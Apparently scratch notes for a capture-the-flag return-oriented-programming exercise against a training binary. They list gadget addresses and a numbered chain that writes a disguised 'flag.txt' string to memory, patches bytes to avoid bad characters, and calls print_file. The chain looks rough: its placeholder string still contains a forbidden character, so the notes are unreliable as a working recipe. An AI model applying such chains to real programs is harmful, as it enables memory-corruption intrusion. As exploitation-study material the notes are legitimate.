0000000000400628 <usefulGadgets>:
  400628:	45 30 37             	xor    BYTE PTR [r15],r14b
  40062c:	45 00 37             	add    BYTE PTR [r15],r14b
  400630:	45 28 37             	sub    BYTE PTR [r15],r14b
  400634:	4d 89 65 00          	mov    QWORD PTR [r13+0x0],r12

print_file@plt: 0000000000400510

0x00000000004006a0 : pop r14 ; pop r15 ; ret

1: 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret      <-- to set registers
1: 
  r12: "flae-txt"
  r13: 0x601be0 
  r14: 1
  r15: 0x601be4  

2: 0x0000000000400634 : mov qword ptr [r13], r12 ; ret

3: 0x000000000040062c : add [r15], r14

4: 0x00000000004006a0 : pop r14 ; pop r15 ; ret
  r14: 1
  r15: 0x601be5

5: 0x00000000004006a3 : pop rdi ; ret  
  rdi: 0x601be0

6: 0x0000000000400510 : print_file@plt




0x00000000004006a3 : pop rdi ; ret


.init_array: 0x601be0 [safe]

we cant use: 'x', 'g', 'a', '.'
['0x78', '0x67', '0x61', '0x2e']